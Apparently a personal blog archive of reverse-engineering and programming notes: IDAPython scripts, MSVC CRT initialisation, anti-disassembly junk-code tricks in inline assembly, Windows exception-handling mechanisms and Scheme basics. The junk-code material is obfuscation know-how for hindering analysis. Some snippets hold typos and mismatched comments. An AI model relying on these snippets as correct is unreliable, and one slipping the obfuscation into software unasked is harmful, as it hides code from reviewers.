    return thunk

def factorial(n):
    value = thunk_factorial(n)
    while callable(value): # While value is still a thunk
        value = value()
    return value

In each iteration, only one step of the factorial is calculated, and the frame is closed immediately after the calculation is completed. Instead of creating and returning another nested call as return tail_factorial(n - 1, so_far * n) is used in tail_factorial(ordinary tail recursion writing), it returns an unevaluated thunk.

IDAPython

2025-09-26T02:18:57.000Z

虚拟环境

idapyswitch 换到虚拟环境的底层版本的 dylib（虚拟环境没有dylib）

# ~/.idapro/idapythonrc.py
import os
import sys
import site

# pyenv virtualenv 根目录
VENV = os.path.expanduser("~/.pyenv/versions/reverse")

# 兼容 macOS / Linux
py_ver = f"python{sys.version_info.major}.{sys.version_info.minor}"
site_pkgs = os.path.join(VENV, "lib", py_ver, "site-packages")

# 把 venv/bin 放进 PATH，方便 subprocess 找到该环境下的命令
venv_bin = os.path.join(VENV, "bin")
os.environ["PATH"] = venv_bin + os.pathsep + os.environ.get("PATH", "")
os.environ["VIRTUAL_ENV"] = VENV

# 把虚拟环境 site-packages 接入 IDA 当前解释器
if os.path.isdir(site_pkgs):
    site.addsitedir(site_pkgs)

# 把用户包目录也并入
user_site = os.path.join(VENV, "lib", py_ver, "site-packages")
if os.path.isdir(user_site) and user_site not in sys.path:
    sys.path.insert(0, user_site)

print("[idapythonrc] VIRTUAL_ENV =", os.environ.get("VIRTUAL_ENV"))
print("[idapythonrc] site-packages =", site_pkgs)
print("[idapythonrc] sys.executable =", sys.executable)
print("[idapythonrc] sys.version =", sys.version)

vscode setting.json 配置

加入：

{
    "python.analysis.extraPaths": [
    "/Applications/IDA Professional 9.2.app/Contents/MacOS/python",
  ],
    "python.autoComplete.extraPaths": [
    "/Applications/IDA Professional 9.2.app/Contents/MacOS/python",
  ],
}

the Legend of Zelda Ⅲ 可打印字符映射

f = ida_funcs.get_func(0x131F)

def find_xor_sub(ea):
    """ Return the second operand of xor and sub """
    f = ida_funcs.get_func(ea)
    for ea in Heads(f.start_ea, f.end_ea):
        insn = idaapi.insn_t()
        idaapi.decode_insn(insn, ea)
        if idaapi.decode_insn(insn, ea):
            if insn.itype == idaapi.NN_xor:
                xor_val = insn.ops[1].value
            if insn.itype == idaapi.NN_sub:
                sub_val = insn.ops[1].value
                return [xor_val, sub_val]

print("==============================\n")
correct_path = ['A', 'V', 'T', 'S', 'J', 'U', 'N', 'B', 'C', 'P', 'I', 'B', 'K', 'A', 'M', 'Q', 'F', 'Q', 'T', 'Z']
map = {node:0 for node in correct_path}
for ea in Heads(f.start_ea, f.end_ea):
    insn = idaapi.insn_t()
    idaapi.decode_insn(insn, ea)
    if ida_idp.is_call_insn(insn):
        input_val = get_wide_byte(ea-15)
        op = insn.ops[0]
        if op.type == ida_ua.o_near or op.type == ida_ua.o_mem:
            target_addr = op.addr
            idc.jumpto(target_addr)
            f_in = ida_funcs.get_func(target_addr)
            xor_val, sub_val = find_xor_sub(target_addr)
            returned_val = chr((input_val ^ xor_val) - sub_val)
            if returned_val in map:
                    map[returned_val] = chr(input_val)
        if target_addr != ida_idaapi.BADADDR and ida_funcs.get_func(target_addr):
            func_name = f"Here from '{chr(input_val)}' to '{returned_val}'"
            idc.set_cmt(ea, func_name, 1)
            print(ida_funcs.get_func_name(target_addr))
            
        print("Call at %x" % ea)
        
idc.jumpto(0x131F)
print("==============================\n")

print(''.join([map[node] for node in correct_path])

MSVC initialization

2025-08-29T00:42:27.000Z

// 创建一个名为 .CRT$XCU 的节
#pragma section(".CRT$XCU", read, write)
// 定义一个函数指针类型
typedef void(__cdecl* FPTR)(void);
// 定义一个函数，它将在 main 之前运行
// 添加__declspec(noinline)确保函数不被优化
__declspec(noinline) void my_init_function() {
	volatile PVOID hVEH = AddVectoredExceptionHandler(0, VEH_SIGNLE_STEP);
	if (!hVEH) {
		std::cerr << "Failed to add VEH handler." << std::endl;
		exit(1);
	}
}
// 在 .CRT$XCU 节中put my_init_function 的地址
__declspec(selectany) __declspec(allocate(".CRT$XCU"))
FPTR init_ptr = my_init_function;
// 使用一个引用来确保 init_ptr 不会被优化掉
void* force_init_ptr_ref = &init_ptr;

如上代码，函数 my_init_function 在 main 函数之前执行。

MSVC 编译器的 CRT 入口点通常为 wmainCRTstartup / mainCRTstartup

int __usercall wmainCRTStartup@<eax>(int Code@<esi>)
{
  __security_init_cookie();
  return _scrt_common_main_seh(Code);
}

跟进 _scrt_common_main_seh 可以看到如下代码

	call    __initterm_e
	pop     ecx
	pop     ecx
	test    eax, eax
	jz      short loc_401E02
	mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh
	mov     eax, 0FFh
	jmp     loc_401EF1
loc_401E02:
    push    offset ___xc_z  ; Last
    push    offset ___xc_a  ; First
    call    __initterm

这部分代码有大部分冗余，重要的是以下部分

call    __initterm_e
push    offset ___xc_z  ; Last
push    offset ___xc_a  ; First
call    __initterm

___xc_a 和 ___xc_z 分别为初始化函数指针的头尾地址

.rdata:00403138 ___xc_a         dd 0                    ; DATA XREF: __scrt_common_main_seh+75↑o
.rdata:0040313C ; void (__cdecl *pre_cpp_initializer)()
.rdata:0040313C pre_cpp_initializer dd offset pre_cpp_initialization
.rdata:00403140 ; void (__cdecl *init_ptr)()
.rdata:00403140 ?init_ptr@@3P6AXXZA dd offset ?my_init_function@@YAXXZ
.rdata:00403140                                         ; DATA XREF: .data:void * force_init_ptr_ref↓o
.rdata:00403140                                         ; my_init_function(void)
.rdata:00403144 ; void (__cdecl *__xc_z[])()
.rdata:00403144 ___xc_z         dd 0                    ; DATA XREF: __scrt_common_main_seh:loc_401E02↑o

可以看到, 连同语言初始化函数 pre_cpp_initializer , 我们自定义的 init_ptr也在里面

__initterm 是将函数指针压栈后调用它们的过程，逻辑在ucrtbase.dll中，主要就是通过迭代将数组中的函数全都执行一遍。

Junk code

2025-08-28T08:10:14.000Z

GCC内联汇编

@source https://blog.csdn.net/hans774882968/article/details/127141703

https://bbs.kanxue.com/thread-279604.htm

https://blog.csdn.net/abel_big_xu/article/details/117927674

https://forum.butian.net/share/2930

https://blog.csdn.net/m0_46296905/article/details/117336574

基本格式

asm volatile(
     "汇编语句"
     : 输出部分
     : 输入部分
     : 会被修改的部分(clobbered register)
);

汇编语句必填，其它三部分可选

#include <stdio.h>
int main()
{
	int src = 1;
	int dst;   
	asm volatile(
        "movl %1, %0\n\t"
        "add $1, %0\n\t"
        "add $3, %0\n\t"
        : "=r" (dst) 
        : "r" (src)
        );

	printf("%d\n", dst);
}

输出部分

表示当这段代码执行完后，对输出变量的约束。必要时在输出部分可以有多个约束，互相以逗号分隔。每个输出约束以=/+开头，跟着一个限定符表示操作数的类型(见下表)。

输入部分

当输出约束为空，若有输入约束，则必须保留分隔标记.

会被修改的部分

顾名思义

操作数

分类	限定符	描述
通用寄存器	“a”	将输入变量放入eax这里有一个问题：假设eax已经被使用，那怎么办？其实很简单：因为GCC 知道eax 已经被使用，它在这段汇编代码的起始处插入一条语句pushl %eax，将eax 内容保存到堆栈，然后在这段代码结束处再增加一条语句popl %eax，恢复eax的内容
	“b”	将输入变量放入ebx
	“c”	将输入变量放入ecx
	“d”	将输入变量放入edx
	“s”	将输入变量放入esi
	“d”	将输入变量放入edi
	“q”	将输入变量放入eax，ebx，ecx，edx中的一个
	“r”	将输入变量放入通用寄存器，也就是eax,ebx,ecx,edx,esi,edi中的一个
	“A”	把eax和edx合成一个64 位的寄存器(use long longs)
内存	“m”	内存变量
	“o”	操作数为内存变量，但是其寻址方式是偏移量类型,也即是基址寻址，或者是基址加变址寻址
	“V”	操作数为内存变量，但寻址方式不是偏移量类型
	“ ”	操作数为内存变量，但寻址方式为自动增量
	“p”	操作数是一个合法的内存地址（指针）
寄存器或内存	“g”	将输入变量放入eax，ebx，ecx，edx中的一个,或者作为内存变量
	“X”	操作数可以是任何类型
立即数	“I”	0-31之间的立即数（用于32位移位指令）
	“J”	0-63之间的立即数（用于64位移位指令）
	“N”	0-255之间的立即数（用于out指令）
	“i”	立即数
	“n”	立即数，有些系统不支持除字以外的立即数，这些系统应该使用“n”而不是“i”
匹配	“0”,“1”…“9”	表示用它限制的操作数与某个指定的操作数匹配,也即该操作数就是指定的那个操作数,例如“0”去描述“％1”操作数,那么“%1”引用的其实就是“%0”操作数,注意作为限定符字母的0-9与指令中的“％0”-“％9”的区别,前者描述操作数,后者代表操作数。
	&	该输出操作数不能使用过和输入操作数相同的寄存器
操作数类型	“=”	操作数在指令中是只写的（输出操作数）
	“+”	操作数在指令中是读写类型的（输入输出操作数）
浮点数	“f”	浮点寄存器
	“t”	第一个浮点寄存器
	“u”	第二个浮点寄存器
	“G”	标准的80387浮点常数
	%	该操作数可以和下一个操作数交换位置例如addl的两个操作数可以交换顺序（当然两个操作数都不能是立即数）
	#	部分注释，从该字符到其后的逗号之间所有字母被忽略
	*	表示如果选用寄存器，则其后的字母被忽略c9ff95d8-f7d1-40e8-91a6-80c98643d2ea

操作数的编号从输出部分的第一个约束开始顺序记数, 在汇编语句中引用这些操作数时用 %n 表示(n从0开始)

__asm__ __volatile__("movl %1,%0" : "=r" (result) : "m" (input));

参数调用

int main()
{
    int a=0,b=0,c=2,d=3,e=4,f=5,g=6,h=7,i=8,j=9,k=10,m=11;
    asm(
        "add %2,%0\n\t"
        "add %13,%1\n\t"
        :"+r"(a),"+r"(b),"+r"(c)
        :"r"(d),"r"(e),"r"(f),"r"(g),"r"(h),"r"(i),"r"(j),"r"(k),"r"(m)
    );//此处给出的输出参数三个都是可读可写的"+r"而不是只可写的"=r"，当调用参数的数字，超过输入参数数量的就用下几个（超过数量）可读的参数
//如此处都为"+r"，则%12就是a，%13就是b，%14就是c
    printf("a=%d,b=%d,c=%d,d=%d",a,b,c,d);
    return 0;
}

int main()
{
    int a=0,b=0,c=2,d=3,e=4,f=5,g=6,h=7,i=8,j=9,k=10,m=11;
    asm(
        "add %2,%0\n\t"
        "add %13,%1\n\t"
        :"=r"(a),"+r"(b),"+r"(c)
        :"r"(d),"r"(e),"r"(f),"r"(g),"r"(h),"r"(i),"r"(j),"r"(k),"r"(m)
    );//此处a为只写所以不可读,%12为b，%13为c，%14就超出调用范围了
    printf("a=%d,b=%d,c=%d,d=%d",a,b,c,d);
    return 0;
}

/*
a=5, b=3, c=2, d=3

改 Intel 风格

asm(
    ".intel_syntax noprefix\n"
    "...\n"
);
/*
编译选项加 -masm=intel

花指令

jnx + jx

asm volatile(
	".intel_syntax noprefix\n"
    "jz 1f\n"
    "jnz 1f\n"
    ".byte 0xE8\n"
    "1:\n\t"
);

永真条件跳转

asm volatile(
    ".intel_syntax noprefix\n\t"
    "push rbx\n\t"          // 64 位必须 rbx
    "xor ebx, ebx\n\t"      // 32 位子寄存器清零并零扩展 rbx
    "test ebx, ebx\n\t"
    "jnz 1f\n\t"
    "jz 2f\n\t"
    "1:\n\t"
    ".byte 0xE8\n\t"
    "2:\n\t"
    "pop rbx\n\t"
    ".att_syntax prefix\n\t"
    :
    :
    : "rbx", "cc", "memory"
);

 ; __unwind {
 F3 0F 1E FA                               endbr64
 55                                        push    rbp
 48 89 E5                                  mov     rbp, rsp
 48 83 EC 10                               sub     rsp, 10h
 64 48 8B 04 25 28 00 00 00                         mov     rax, fs:28h
 48 89 45 F8                               mov     [rbp+var_8], rax
 31 C0                                     xor     eax, eax
 C6 45 F7 C3                               mov     [rbp+var_9], 0C3h
 48 8D 45 F7                               lea     rax, [rbp+var_9]
 FF D0                                     call    rax
 C6 45 08 96                               mov     byte ptr [rbp+8], 96h
 C6 45 09 46                               mov     byte ptr [rbp+9], 46h ; 'F'
 C6 45 0A 40                               mov     byte ptr [rbp+0Ah], 40h ; '@'
 90                                        nop
 48 8B 45 F8                               mov     rax, [rbp+var_8]
 64 48 33 04 25 28 00 00 00                xor     rax, fs:28h
 74 05                                     jz      short locret_425EF0
 E8 90 B1 FD FF                            call    ___stack_chk_fail
 ; ---------------------------------------------------------------------------

locret_425EF0:                          ; CODE XREF: y0u_d0nt_n33d_to_r3verse_th1s(void)+3F↑j
 C9              						  leave
 C3             						  retn
 ; } // starts at 425EAA

重叠字节

迁移注记原文图片未随仓库迁入：image-20250828110334075image-20250828110334075.png

asm volatile (
        ".intel_syntax noprefix\n"
        
        // 伪造指令序列：
        // 1. mov ax, 05EBh
        // 2. xor eax, eax
        // 3. jz -2
        
        // 实际执行序列：
        // 1. mov ax, 03EBh
        // 2. jmp short +5
        // 3. (跳转到真正的指令)
        
        // 构造字节序列：66 B8 EB 03 31 C0 74 FA E8
        
        "    .byte 0x66\n"   // 66: 操作数大小前缀，表示 mov ax
        "    .byte 0xB8\n"   // B8: mov reg, imm 的操作码
        "    .byte 0xEB\n"   // EB: mov ax 的立即数低位，同时是 jmp 的操作码
        "    .byte 0x05\n"   // 03: mov ax 的立即数高位，同时是 jmp 的偏移量
        
        "    .byte 0x31\n"   // 31: xor eax, eax 的操作码
        "    .byte 0xC0\n"   // C0: xor eax, eax 的 ModR/M 字节
        "    .byte 0x74\n"   // 74: jz 的操作码
        "    .byte 0xFA\n"   // FA: jz 的偏移量
        "    .byte 0xE8\n"   // E8: junk code

        "    .att_syntax\n"
    );

层面一：反汇编器看到的（静态分析）

反汇编器会从第一个字节 66 开始，顺序解析指令：

66 B8 EB 05：这是一条 MOV 指令。
- 66：操作码前缀，表示操作数大小为 16 位。
- B8：MOV AX, imm16 的操作码。
- EB 05：16 位立即数 05EBh。
- 指令：mov ax, 05EBh。这条指令将 0x05EB 移动到 ax 寄存器。
31 C0：这是一条 XOR 指令。
- 31：XOR 的操作码。
- C0：eax, eax 的 ModR/M 字节。
- 指令：xor eax, eax。这条指令将 eax 寄存器清零。
74 FA：这是一条 JZ 指令。
- 74：JZ 的操作码。
- FA：跳转偏移量 -6。
- 指令：jz -6。如果前一条指令结果为零，就向后跳转 6 个字节。
E8：这是一个 CALL 指令的操作码，但它在这里只被看作一个字节。

层面二：实际执行的（动态执行）

实际的程序执行流会是完全不同的。mov ax, 05EBh 的立即数部分被精心设计过，它包含了另一条指令：

EB 05：
- EB：jmp short 的操作码。
- 05：跳转偏移量 +5。
- 指令：jmp +5。当执行到这里时，程序会立即跳转到当前位置往后 5 个字节的地方。

因此，实际执行流是：

mov ax, 05EBh 执行时，会跳过后面的 xor eax, eax 和 jz -/3 指令。
程序跳转到 E8 所在的位置。
E8 字节被解释为 call 指令的操作码。它会调用 Real Code，然后 Real Code 执行完毕后返回，程序继续正常执行。

Windows exception handling

2025-08-15T02:13:58.000Z

VEH

优先级最高

进程级别，跨线程有效

// 在主线程注册VEH
AddVectoredExceptionHandler(0, GlobalHandler);

// 在工作线程中发生的异常也会被处理
Create(NULL, 0, WorkerThread, NULL, 0, NULL);

可以注册多个，形成处理链

PVOID handler1 = AddVectoredExceptionHandler(0, Handler1);
PVOID handler2 = AddVectoredExceptionHandler(0, Handler2);
// 执行顺序： Handler1 -> Handler2 (如果 Handler1 返回 CONTINUE_SEARCH)

储存在堆内存中
- 不依赖栈帧，即使栈损坏也能工作
- 适合处理栈溢出等严重异常

SEH

基于栈帧，线程布局

__try
{
    *((int*)0) = 42;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
    printf("Access violation caught\n");
}

嵌套结构，就近原则

void OuterFunction()
{
    __try
    {
        InnerFunction();
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        printf("Outer handler\n");	// executes second
    }
}
void InnerFunction()
{
    __try
    {
        *((int*)0) = 42;
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        printf("Inner handler\n");	// executes first
    }
}

编译器集成，语法简洁

UEF (Unhandled Exception Filter)

全局唯一，最后防线

LPTOP_LEVEL_EXCEPTION_FILTER oldFilter = SetUnhandledExceptionFilter(MyUEF);
// 新的 UEF 会覆盖旧的UEF

返回值直接决定程序生死

LONG NTAPI UEFHandler (struct _EXCEPTION_POINTERS* ExceptionInfo)
{
    if (CanRecover (ExceptionInfo))
    {
        FixTheException (ExceptionInfo);
        return EXCEPTION_CONTINUE_EXECUTION; // 程序继续运行
    }
    else
    {
        GenerateCrashDump (ExceptionInfo);
        return EXCEPTION_EXECUTE_HANDLER;	// 程序终止
    }
}

不受调试器影响
- 即使在调试器下运行，UEF 仍然会被调用
- 适合实现产品级的崩溃报告系统

VCH (Vectored Continue Handler)

它的名字比较有迷惑性。VCH 的执行在所有其它异常处理程序之后，不管前面的异常处理结果如何都不影响它的执行，即使程序崩溃，它也会发出最后的波纹。

无条件调用

// 无论异常是否被处理，VCH 都会被调用
LONG NTAPI AlwaysCalledHandler (struct _EXCEPTION_POINTERS* ExceptionInfo)
{
    printf("This ALWAYS executes\n");
    return EXCEPTION_CONTINUE_SEARCH;
}

主要用于监控和清理

LONG NTAPI MonitoringContinueHandler (struct _EXCEPTION_POINTERS* ExceptionInfo)
{
    // 记录所有异常，包括已被处理的
    LogExceptionToFile (ExceptionInfo);
    // 更新性能计数器
    IncrementExceptionCounter();
    // 不影响程序执行
    return EXCEPTION_CONTINUE_SEARCH;
}

可以注册多个，形成处理链

VCH 不是为了“挽救”失败的异常处理而设计的，而是为了：

监控和日志记录
- 记录所有异常，包括致命的、已被处理的
- 统计异常发生频率和类型
资源清理和数据保存
- 在程序崩溃前保存重要数据
- 清理可能导致资源泄露的对象
调试和诊断
- 在异常处理完成后执行额外的调试逻辑
- 收集诊断信息

SEH Function Definition:

EXCEPTION_DISPOSITION __cdecl _except_handler(
	_In_ struct _EXCEPTION_RECORD *_ExceptionRecord, // 异常记录结构 指针
    _In_ void * _EstablisherFrame, 					 // 指向 SEH 链(EXCEPTION_REGISTRATION)
    _Inout_ struct _CONTEXT *_ContextRecord, 		 // Context 结构指针，即线程上下文(寄存器)
    _Inout_ void * _DispatherContext				 // 调度器上下文，无意义
)

UEF, VEH, VCH 函数的参数只有一个，即指向结构体 _EXCEPTION_POINTERS 的指针。

typedef struct _EXCEPTION_POINTERS {
    PEXCEPTION_RECORD ExceptionRecord;			// pointer of EXCEPTION_RECORD
    PCONTEXT ContextRecord;						// pointer of CONTEXT
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

typedef struct _EXCEPTION_RECORD {
    DWORD ExceptionCode; 						// 异常号
    DWORD ExceptionFlags; 						// 异常标志
    struct _EXCEPTION_RECORD *ExceptionReccord; // 指向 **下一个** 节点，即下一个异常记录
    PVOID ExceptionAddress; 					// 发生异常的地址
    DWORD NumberParameters;						// 异常信息的个数(数组ExceptionInformation的长度)
    ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; // 异常信息数组
} EXCEPTION_RECORD, *PECEPTION_RECORD;

线程上下文，没有细看

/* 浮点寄存器 */
typedef struct _FLOATING_SAVE_AREA {
    DWORD   ControlWord;
    DWORD   StatusWord;
    DWORD   TagWord;
    DWORD   ErrorOffset;
    DWORD   ErrorSelector;
    DWORD   DataOffset;
    DWORD   DataSelector;
    BYTE    RegisterArea[SIZE_OF_80387_REGISTERS];
    DWORD   Spare0;
} FLOATING_SAVE_AREA;
 
typedef FLOATING_SAVE_AREA *PFLOATING_SAVE_AREA;
 
typedef struct _CONTEXT {
 
    //
    // The flags values within this flag control the contents of
    // a CONTEXT record.
    //
    // If the context record is used as an input parameter, then
    // for each portion of the context record controlled by a flag
    // whose value is set, it is assumed that that portion of the
    // context record contains valid context. If the context record
    // is being used to modify a threads context, then only that
    // portion of the threads context will be modified.
    //
    // If the context record is used as an IN OUT parameter to capture
    // the context of a thread, then only those portions of the thread's
    // context corresponding to set flags will be returned.
    //
    // The context record is never used as an OUT only parameter.
    //
 
    DWORD ContextFlags;
 
    //
    // This section is specified/returned if CONTEXT_DEBUG_REGISTERS is
    // set in ContextFlags.  Note that CONTEXT_DEBUG_REGISTERS is NOT
    // included in CONTEXT_FULL.
    //
 
    DWORD   Dr0;
    DWORD   Dr1;
    DWORD   Dr2;
    DWORD   Dr3;
    DWORD   Dr6;
    DWORD   Dr7;
 
    //
    // This section is specified/returned if the
    // ContextFlags word contians the flag CONTEXT_FLOATING_POINT.
    //
 
    FLOATING_SAVE_AREA FloatSave;
 
    //
    // This section is specified/returned if the
    // ContextFlags word contians the flag CONTEXT_SEGMENTS.
    //
 
    DWORD   SegGs;
    DWORD   SegFs;
    DWORD   SegEs;
    DWORD   SegDs;
 
    //
    // This section is specified/returned if the
    // ContextFlags word contians the flag CONTEXT_INTEGER.
    //
 
    DWORD   Edi;
    DWORD   Esi;
    DWORD   Ebx;
    DWORD   Edx;
    DWORD   Ecx;
    DWORD   Eax;
 
    //
    // This section is specified/returned if the
    // ContextFlags word contians the flag CONTEXT_CONTROL.
    //
 
    DWORD   Ebp;
    DWORD   Eip;
    DWORD   SegCs;              // MUST BE SANITIZED
    DWORD   EFlags;             // MUST BE SANITIZED
    DWORD   Esp;
    DWORD   SegSs;
 
    //
    // This section is specified/returned if the ContextFlags word
    // contains the flag CONTEXT_EXTENDED_REGISTERS.
    // The format and contexts are processor specific
    //
 
    BYTE    ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
 
} CONTEXT;
 
typedef CONTEXT *PCONTEXT;

一些使用方法/API

SEH

__asm
{
    push HandlerAddr;
    mov eax, fs:[0];
    push eax;
    mov fs:[0], esp;
}

或者 __try/__except

Others

SetUnhandledExceptionFilter

AddVectoredEcceptionHandler(ULONG first, // 1 表示添加到链表头部，0 表示添加到链表i尾部
                           PVECTORED_EXCEPTION_HANDLER handler	// 异常处理器的地址
                           );

RemoveVectoredExceptionHandler

AddVectoredContinueHandler

RemoveVectoredContinueHandler

LONG PvectoredExceptionHandler(
    _EXCEPTION_POINTERS *ExceptionInfo
)
{
    ...
}

异常处理程序的参数

typedef struct _EXCEPTION_POINTERS
{
    PEXCEPTION_RECORD ExceptionRecord; // 记录异常的信息
    PCONTEXT ContextRecord; // 表示寄存器的内容
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

返回值

EXCEPTION_CONTINUE_EXECUTION 表示继续执行；

EXCEPTION_CONTINUE_SEARCH 表示继续查找

SEH 的返回值 (VEH, VCH 只有前两种)

typedef enum _EXCEPTION_DISPOSITION {
    ExceptionContinueExecution, 
    ExceptionContinueSearch, 	
    ExceptionNestedException,  	
    ExceptionCollidedUnwind 	
} EXCEPTION_DISPOSITION;

__except & SEH

__except 是对 _except_handler 函数的封装

EH 调用顺序

调试器 > VEH > SEH > UEF > VCH > 调试器 > 调用异常端口通知 csrss.exe (弹出一个对话框, 但在Win11没有见到, 可能和系统版本有关)

#include<Windows.h>
#include<iostream>
EXCEPTION_DISPOSITION myExceptHandler(
    struct _EXCEPTION_RECORD* ExceptionRecord,
    PVOID EstablisherFrame,
    PCONTEXT pcontext,
    PVOID DispatcherContext
)
{
    MessageBoxA(0, "SEH处理了异常", "异常报错", MB_OK);
    pcontext->Eip = pcontext->Eip+ 4;
    return ExceptionContinueExecution;
}

LONG WINAPI PvectoredExceptionHandler(
    _EXCEPTION_POINTERS* ExceptionInfo
)
{
    MessageBoxA(0, "VEH处理了异常", "异常处理", MB_OK);
    ExceptionInfo->ContextRecord->Eip += 4;
    return EXCEPTION_CONTINUE_EXECUTION;
}
int main()
{
    AddVectoredExceptionHandler(1, PvectoredExceptionHandler);
    DWORD execptionFuncAddr = (DWORD)myExceptHandler;//异常处理的函数地址
    __asm
    {
        push execptionFuncAddr;
        mov eax, fs: [0] ;
        push eax;
        mov fs : [0] , esp;
        //添加异常，并且把异常放到异常链里面，并且把异常的头指针指向新的头结点
    }
    char* str = NULL;
    str[0] = 'a';
    printf("Sna1lGo\n");
    system("pause");
    return 0;
}

Scheme

2025-07-22T04:16:01.000Z

1

Notice how easy it is to pass a function (as a parameter) to a function in Scheme, it is kind of like MACRO.
One of the meaning of brackets is function call.
Quotation is kind of like MACRO.
define-syntax is totally MACRO

Pairs

> (cons 1 2)
(1 . 2)
> (cons (cons 1 2) 3)
((1 . 2) . 3)
> (define foo (cons 1 2))
> foo
(1 . 2)

> (car foo)		; car gets the first element in a pair.
1
> (cdr foo)		; while cdr gets the second
2

Lists

Pair is basically a little list.

The definition of a list is a set of pairs and the last pair in that has null on the right hand side. If you don’t believe that, check out the code below.

> (cons 1 null)		; it's indeed a pair of 1 and null but the way the interpreter writes it is a list containing only 1.
(1)

> (cons 1 2)
(1 . 2)		; it's a pair.
> (cons 1 (cons 2 null))
(1 2)		; it's a list
> (cons 1 (cons 2 (cons 3 null)))
(1 2 3)

> (equal? (cons 1 (cons 2 null)) (list 1 2))
#t

List is a bunch of pairs cascading down and ending in null.

car & cdr

> (define mylist (cons 1 (cons 2 (cons 3 null))))
> mylist
(1 2 3)

> (car mylist)
1		; the first element 1 in the pair mylist
> (cdr mylist)
(2 3)		; the second element (cons 2 (cons 3 null)) in the pair mylist, which is precisely the rest of the list mylist.

> (cadr mylist)		; d, then a.
2	
> (caddr mylist)		; double d, then a.
3

list-ref

> (list-ref (list "a" "b" "c") 1)
"b"
> (list-ref (list "a" "b" "c") 2)
"c"

“Loops”

Loops are actually recursion.

A bad implementation of list-ref.

> (define (my-list-ref lst n)
      (if (zero? n)
          (car lst)
          (my-list-ref (cdr lst) (- n 1))))
> (my-list-ref (list "a" "b" "c") 1)
"b"

Map

Map applies the function you give it to every element in the list you give it. Difference between it and Python’s map is the latter one returns a map object which is a kind of iterator, but Scheme’s map directly give you a list.

> (define baz (list 1 2 3))
> (define (double x) (* x 2))
> (map double baz)
(2 4 6)

> baz
(1 2 3)

A bad implementation of map.

1 ]=> (define (my-map fn lst)
        (if (equal? () lst)
                ()
                (cons (fn (car lst)) (my-map fn (cdr lst)))))

1 ]=> (my-map double baz)

;Value: (2 4 6)

Fold

> (define qux (list 1 2 3 4))
> (foldr + 0 qux)	; 4 + 3 + 2 + 1 + 0
10
> (foldr + 2000 qux)	; 1 + (2 + (3 + (4 + 2000)))
2010
> (foldr + -100 qux)	; 1 + (2 + (3 + (4 + -100)))
-90

> (foldr - 0 qux)	; 1 - (2 - (3 - (4 - 0)))
-2
> (foldr - 2000 qux)	; 1 - (2 - (3 - (4 - 2000)))
1998

> (foldr * 1 qux)	; 1 * (2 * (3 * (4 * 1)))
24
> (foldr * 0 qux)
0

>> (my-foldr / 1 qux)	; 1 / (2 / (3 / (4 / 1)))
3/8

A bad implementation of foldr.

> (define (my-foldr fn start lst)
    (if (null? lst)
        start
        (fn (car lst) (my-foldr fn start (cdr lst)))))

Using outer symbols

> (define (assert-equal a b)
    (define (print-error)
      (display a)
      (display " is not equal to ")
      (display b)
      (newline))
    (if (not (equal? a b))
        (print-error) null))
> (assert-equal 3 3)
> (assert-equal 3 4)
3 is not equal to 4

> (define (circle-details r)
    (define pi 3.1415926)
    (define (area) (round (* pi r r)))
    (define (circum) (round (* 2 pi r)))
    (list (area) (circum)))
> (circle-details 3)
'(28.0 19.0)

The inner function can access the symbols of the outer function unless you override them within the inner function.

Returning functions

> (define (make-add-one)
   (define (inc x) (+ 1 x))
   inc)
> make-add-one
#<procedure:make-add-one>

> (define add-one make-add-one)		; no bracket, no function call
> add-one(2)
#<procedure:make-add-one>
. . application: not a procedure;
expected a procedure that can be applied to arguments
 given: 2
 arguments...: [none]

> (define add-one (make-add-one))
> (add-one 3)
4

> (define (make-add-x x)
   (define (add-x y) (+ x y))
   add-x)
> (define add-ten (make-add-x 10))
> (add-ten 19)
29

Holding state

> (define (make-counter)
    (define value 0)
    (define (counter)
      (set! value (+ value 1))	; basically is value += 1
      value)
    counter)
> (define counter (make-counter))
> (counter)
1
> (counter)
2
> (counter)
3
> (counter)
4

In this case, value is nonlocal in inner procedure counter, but you don’t need to claim it explicitly.

So we can see function call is not simply Macro, it can remember the state of the system (group).

Uses-Testing

> (define (shout display-fn txt)
    (display-fn
     (list->string
      (map
       char-upcase
       (string->list txt)))))
> (shout display "what the fuck")
WHAT THE FUCK
> (shout print "what the fuck")
"WHAT THE FUCK"

Now I’m gonna test it.

> (define (test-shout-displays-upper-case)
    (define displayed "")
    (define (fake-display txt)
      (set! displayed txt))
    (shout fake-display "Hello Andy")
    (assert-equal displayed "HELLO ANDY"))
> assert-equal
#<procedure:assert-equal>
> (test-shout-displays-upper-case)
'()

Uses-Classes

> (define (make-balance)
    (define value 0)
    (define (bal method)
      (define (add-method x)
        (set! value (+ value x)))
      (define (get-method) value)
      (if (equal? method "add")
          add-method
          get-method))
    bal)
> (define balance (make-balance))

> (define get (balance 'get))
> (define add (balance "add"))
> (get)
0
> (add 10)
> (get)
10

> (define get2 (balance 'get))
> (define add2 (balance "add"))
> (get2)
10
> (add2 100)
> (get)
110

As you can see, it’s a simulation of a class balance

Tail-Recursion Version Fibonacci

(define (fib-it n))
	(define (impl acc1 acc2 countg)
      (if (= count 2)
          acc1
          (impl (+ acc1 acc2) acc1 (- count 1))))
    (impl 1 1 n)

Data made from code

If we want to make a list of three symbols, we get an error.

> (list a b c)
. . a: undefined;
 cannot reference an identifier before its definition

We don’t have there definition, but if we define them, we get a list of what they refer to.

> (define a 1)(define b 2)(define c 3)
> (list a b c)
'(1 2 3)

How to make a list of the symbols themselves instead of what they refer to? The answer is by quoting.

> (list 'a 'b 'c)
'(a b c)

Quoting can apply to anything you like. Because of that quote symbol there, it’s not threated as a piece of code we’re going to run.

> '(a (b1 b2) c)
'(a (b1 b2) c)

> (equal? '(a (b1 b2) c) (list 'a (list 'b1 'b2) 'c))
#t

When you execute a bracketed list you always have to have at least one thing in that list which is the name of the procedure you want to execute. But how to create a list with no element?

> ()
. #%app: missing procedure expression;
 probably originally (), which is an illegal empty application in: (#%app)
 
> (list)	; it's a way.
'()
> '()	; with the power of quotation, this is another way.
'()
> null
'()

> 'null
'null

Asking about data

Before a procedure get executed, all the arguments get evaluated.

> (symbol? 'z)
#t
> (symbol? z)
. . z: undefined;
